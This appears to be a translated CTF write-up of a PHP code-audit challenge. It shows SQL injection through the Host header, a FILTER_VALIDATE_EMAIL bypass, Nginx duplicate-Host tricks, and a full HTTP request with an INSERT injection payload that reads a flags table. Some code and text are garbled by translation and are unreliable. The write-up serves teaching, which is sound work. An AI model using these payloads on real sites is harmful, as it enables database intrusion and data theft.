On the first day of the Lunar New Year, I shared a red envelope on code audit Knowledge Planet, but the condition of receiving the red envelope is to crack a code audit related problem I created. The problem is as follows:

2018.mhz.pw:62231

0x01 Pull source code

ERR_INVALID_HTTP_RESPONSE indicates that this port is not an HTTP service. Port fingerprint identification using NMAP:

nmap -sV -p 62231 2018.mhz.pw

Git = pwnhub_6670.git = pwnhub_6670.git = pwnhub_6670.git = pwnhub_6670.git

Git bare Repository pwnhub_6670.

How to restore Git bare repository? Actually very simple, we usually use the lot, deposit all Gitlab warehouse are naked warehouse, for example, we pull vulhub source, implement the git clone https://github.com/vulhub/vulhub.git, Vulhub. git is actually a bare repository on Github server. As you can see, a bare repository is usually named “project name.git”.

Git supports pulling information from local files, SSH, HTTPS, or Git protocols. Git clone pwnhub_6670. Git clone pwnhub_6670.

The contents of the repository’s PWnhub_6670 folder are the source code we need to audit.

0x02 SQL Injection Vulnerability Mining

As a question-maker, I’m a bit of a liar. I used a niche PHP framework called Speed, but changed the name of the core file to core.php. In order to prevent people from going astray by looking for bugs in the framework itself, all the bugs are in the code I wrote.

The first step in getting the source repository is to look at the Git log, branch, tags, etc. This may expose sensitive information about the target. Not here, so we should target the code itself.

The target website http://2018.mhz.pw only has simple registration and login functions, and the relevant input codes are as follows:

<? php escape($_REQUEST); escape($_POST); escape($_GET); function escape(&$arg) { if(is_array($arg)) { foreach ($arg as &$value) { escape($value); }} else {$args = str_replace ([" '"' \ \ ', '(',') '], [', '\ \ \ \', '(',') '], $arg); } } function arg($name, $default = null, $trim = false) { if (isset($_REQUEST[$name])) { $arg = $_REQUEST[$name]; } elseif (isset($_SERVER[$name])) { $arg = $_SERVER[$name]; } else { $arg = $default; } if($trim) { $arg = trim($arg); } return $arg; }

Escape converts single quotation marks and parentheses in GPR into Chinese symbols, and the backslash is escaped. Arg is to get $_REQUEST or $_SERVER entered by the user. Obviously, the $_SERVER variable is not escaped, so note the point.

There’s nothing else interesting about the whole thing, so let’s start looking at the controller code.

<?php
function actionRegister(){
    if ($_POST) {
        $username = arg('username');
        $password = arg('password');

        if (empty($username) || empty($password)) {
            $this->error('Username or password is empty.');
        }

        $email = arg('email');
        if (empty($email)) {
            $email = $username . '@' . arg('HTTP_HOST');
        }

        if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            $this->error('Email error.');
        }

        $user = new User();
        $data = $user->query("SELECT * FROM `{$user->table_name}` WHERE `username` = '{$username}'");
        if ($data) {
            $this->error('This username is exists.');
        }

        $ret = $user->create([
            'username' => $username,
            'password' => md5($password),
            'email' => $email
        ]);
        if ($ret) {
            $_SESSION['user_id'] = $user->lastInsertId();
        } else {
            $this->error('Unknown error.');
        }
    }

}

The above is the registration function of the code, relatively simple. The username and password are mandatory. If you do not specify the email address, the value is automatically set to username@website domain name. Finally, we pass all three into the CREATE method, which essentially concatenates an INSERT statement.

It is worth noting that the website domain name is retrieved from arG (‘HTTP_HOST’), that is, from $_REQUEST or $_SERVER. Because $_SERVER is not escaped, we only need to introduce single quotes in the HTTP header Host value to create an SQL injection vulnerability.

But the email variable is tested by filter_var($email, FILTER_VALIDATE_EMAIL), which we’ll bypass first.

0x03 FILTER_VALIDATE_EMAILbypass

That’s the first trick of the day. This point was mentioned earlier in PHPMailer’s CVE-2016-10033.

According to RFC 3696, email addresses are divided into local Part and Domain Part. The local part contains special characters, which need to be handled as follows:

  1. Use special characters\Escape, such asJoe\'[email protected]
  2. Or wrap the local part in double quotation marks, for example"Joe'Blow"@example.com
  3. The local part contains a maximum of 64 characters

Although PHP is not fully tested in accordance with RFC 3696, the second version above is supported. So, we can use it to bypass the FILTER_VALIDATE_EMAIL detection.

In this code, the mailbox is a concatenation of the user name, @, and Host, but the user name is escaped, so the single quotation mark can only be placed in the Host. We could pass in a user name of “aaa'” Host @example.com, and finally concatenate a mailbox of “@aaa'”@example.com.

This email address is legal:

This mailbox contains single quotes, which will close the original single quotes in the SQL statement, causing SQL injection vulnerability.

0x04 Bypassed the Nginx Host limit

That’s trick number two today.

We try to send the user name and Host we just constructed to the target registration page:

Showing 404 directly does not seem to enter PHP processing.

Which brings us back to the essence of the question, what does the Host header actually do?

As we all know, if we type http://2018.mhz.pw in the browser, the browser will first request the DNS server and get the IP address of the target server, and then TCP communication will have nothing to do with the domain name. So, if there are multiple web sites on a server, how does Nginx differentiate between them once it receives an HTTP packet?

That’s what Host is for: it’s used to tell which web site the user is visiting (Server block in Nginx).

If Nginx finds that the Host we pass does not find the corresponding Server block, it will send to the default Server block, which is the default Nginx page we access directly through the IP address:

The default site does not have a /main/register method, so 404 is returned.

Here are two ways to solve this problem, and maybe more new ways that I haven’t thought of yet, welcome to add.

Method 1

Nginx uses colons to split Host into hostname and port, and the port part is discarded. Pw: XXX ‘”@example.com to access the target Server block:

As shown in the figure above, an SQL error is triggered successfully.

Method 2

When we pass two Host headers, Nginx will take the first one and PHP-fpm will take the second.

That is, if I pass in:

Host: 2018.mhz.pw
Host: xxx'"@example.com

Nginx will consider Host as 2018.mhz.pw and pass it to the target Server block for processing; $_SERVER[‘HTTP_HOST’] returns XXX ‘”@example.com. This can also be bypassed:

This method I mentioned in a group before, only Nginx+PHP has this problem, Apache will be a different case, not discussed here.

Mysql 5.7 INSERT method

This is the third trick of the day.

Since an SQL error has been triggered, SQL injection is imminent. By reading the SQL structure contained in the source code, we know that flag is in the flags table, so no nonsense, directly injected to read the table.

Insert display bit

Since the user’s email address is displayed after successful login, we can insert data into this location. Send the following data packets:

POST /main/register HTTP/1.1 Host: 2018.mhz. Pw Host: '),('t123',md5(12123),(select(flag)from(flags)))#"@a.com Accept-Encoding: gzip, deflate Accept: */* Accept-Language: En the user-agent: Mozilla / 5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-type: multipart/form-data; boundary=--------356678531 Content-Length: 176 ----------356678531 Content-Disposition: form-data; name="username" "a ----------356678531 Content-Disposition: form-data; name="password" aaa ----------356678531--

As you can see, I close the INSERT statement, INSERT a new user t123, and read flag into the email field. Log in to the user and obtain the flag:

Flag is alipay red envelope password. 🙂

An error injection

In order to reduce the difficulty, I specially gave the error message of Mysql, unexpectedly increased the difficulty, which I did not consider, it is also the solution proposed by @Burnegg.

Many of you have reported injection errors on the test, but there are two pits to bypass:

  1. Due to mailbox limitations, the injected statement length should be less than 64 bits
  2. Mysql 5.7 has strict mode enabled by default. Some string concatenation syntax causes errors:ErrorInfo: Truncated incorrect INTEGER value

Instead of using string concatenation syntax, we can use comparison symbols such as <, >, = to trigger vulnerabilities:

MySQL Injection in Update, INSERT and Delete

0x06 A summary

After the problem was solved, more than a thousand students participated. The fastest one to get a red envelope from Alipay was @CHAOwei Blue Cat, which was around 1:00 am on the second day of junior high school.

In addition to security researchers, some programmers also participated in the game, but because they were not familiar with THE CTF competition and security-related vulnerabilities, some went astray, instead of focusing on the vulnerabilities and security technologies themselves, trying to guess whether the password was hidden in the picture or somewhere else.

I hope this game will bring you not only the joy of Chinese New Year, but also the improvement of technology